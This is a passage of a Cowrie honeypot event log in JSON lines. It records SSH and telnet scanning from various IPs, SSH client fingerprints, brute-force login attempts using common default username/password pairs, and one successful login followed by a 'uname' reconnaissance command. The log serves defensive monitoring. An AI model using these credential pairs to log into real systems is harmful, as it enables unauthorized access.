,"ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:07.539128Z","src_ip":"38.148.249.2","session":"88cc465f1063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:07.849280Z","src_ip":"85.198.19.241","session":"44ba686dd6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:07.863748Z","src_ip":"38.148.249.2","session":"88cc465f1063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:08.938218Z","src_ip":"38.148.249.2","session":"88cc465f1063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.23080492019653,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:10.672779Z","src_ip":"172.81.62.90","session":"641682d5fafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0953b2d3e3ed","protocol":"telnet","message":"New connection: 172.81.62.90:43074 (159.203.135.109:23) [session: 0953b2d3e3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:15.012857Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.221.189","src_port":40789,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2cf477c8137","protocol":"ssh","message":"New connection: 173.255.221.189:40789 (159.203.135.109:22) [session: e2cf477c8137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:16.214361Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:16.493905Z","src_ip":"173.255.221.189","session":"e2cf477c8137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57556,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb1512632ee","protocol":"telnet","message":"New connection: 94.23.66.112:57556 (10.17.0.5:23) [session: feb1512632ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:33.298183Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37368,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31b985c612c","protocol":"telnet","message":"New connection: 128.199.8.54:37368 (159.203.135.109:23) [session: a31b985c612c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:34.189815Z"}
{"eventid":"cowrie.session.closed","duration":0.004470109939575195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:34.194141Z","src_ip":"128.199.8.54","session":"a31b985c612c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":56644,"dst_ip":"10.17.0.5","dst_port":22,"session":"e17a668ae1e3","protocol":"ssh","message":"New connection: 103.216.145.2:56644 (10.17.0.5:22) [session: e17a668ae1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:44.362582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:44.367107Z","src_ip":"103.216.145.2","session":"e17a668ae1e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:44.563576Z","src_ip":"103.216.145.2","session":"e17a668ae1e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nick","password":"changeme","message":"login attempt [nick/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:45.387419Z","src_ip":"103.216.145.2","session":"e17a668ae1e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59968,"dst_ip":"10.17.0.5","dst_port":23,"session":"0450a1620993","protocol":"telnet","message":"New connection: 94.23.66.112:59968 (10.17.0.5:23) [session: 0450a1620993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:45.567235Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57416,"dst_ip":"10.17.0.5","dst_port":23,"session":"4070b090c95a","protocol":"telnet","message":"New connection: 94.23.66.112:57416 (10.17.0.5:23) [session: 4070b090c95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:46.537732Z"}
{"eventid":"cowrie.session.closed","duration":0.004067182540893555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:46.541539Z","src_ip":"94.23.66.112","session":"4070b090c95a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:46.585605Z","src_ip":"103.216.145.2","session":"e17a668ae1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.10444474220276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:52.117179Z","src_ip":"172.81.62.90","session":"0953b2d3e3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":36749,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dc2379359ae","protocol":"ssh","message":"New connection: 170.80.65.140:36749 (10.17.0.5:22) [session: 3dc2379359ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:59.030580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:59.034744Z","src_ip":"170.80.65.140","session":"3dc2379359ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:59.158449Z","src_ip":"170.80.65.140","session":"3dc2379359ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@12345","message":"login attempt [root/qwe@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:59.689807Z","src_ip":"170.80.65.140","session":"3dc2379359ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:00.845227Z","src_ip":"170.80.65.140","session":"3dc2379359ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":49334,"dst_ip":"10.17.0.5","dst_port":22,"session":"af963b568611","protocol":"ssh","message":"New connection: 43.153.12.68:49334 (10.17.0.5:22) [session: af963b568611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:02.212735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:02.222489Z","src_ip":"43.153.12.68","session":"af963b568611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:02.347482Z","src_ip":"43.153.12.68","session":"af963b568611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e4r5t","message":"login attempt [deploy/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:02.627226Z","src_ip":"43.153.12.68","session":"af963b568611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:03.699151Z","src_ip":"43.153.12.68","session":"af963b568611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47866,"dst_ip":"10.17.0.5","dst_port":22,"session":"59db9d4b4559","protocol":"ssh","message":"New connection: 165.154.137.186:47866 (10.17.0.5:22) [session: 59db9d4b4559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:04.000965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:04.024839Z","src_ip":"165.154.137.186","session":"59db9d4b4559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:04.289245Z","src_ip":"165.154.137.186","session":"59db9d4b4559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:05.086200Z","src_ip":"165.154.137.186","session":"59db9d4b4559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:06.338908Z","src_ip":"165.154.137.186","session":"59db9d4b4559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55956,"dst_ip":"159.203.135.109","dst_port":23,"session":"cad4856ead6d","protocol":"telnet","message":"New connection: 128.199.8.54:55956 (159.203.135.109:23) [session: cad4856ead6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:23.206446Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e94ae31d6ea9","protocol":"ssh","message":"New connection: 165.154.137.186:48092 (10.17.0.5:22) [session: e94ae31d6ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:26.267992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:26.273055Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:26.518415Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48106,"dst_ip":"10.17.0.5","dst_port":22,"session":"258652a16250","protocol":"ssh","message":"New connection: 165.154.137.186:48106 (10.17.0.5:22) [session: 258652a16250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:26.551606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:26.753203Z","src_ip":"165.154.137.186","session":"258652a16250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:27.186527Z","src_ip":"165.154.137.186","session":"258652a16250","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:27.518053Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:27.980933Z","src_ip":"165.154.137.186","session":"258652a16250","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:28.063062Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:28.066310Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:28.315238Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:28.319283Z","src_ip":"165.154.137.186","session":"e94ae31d6ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:29.244336Z","src_ip":"165.154.137.186","session":"258652a16250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38464,"dst_ip":"10.17.0.5","dst_port":22,"session":"e02f769468de","protocol":"ssh","message":"New connection: 165.154.137.186:38464 (10.17.0.5:22) [session: e02f769468de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:34.202427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:38:34.206431Z","src_ip":"165.154.137.186","session":"e02f769468de","protocol":"ssh"}
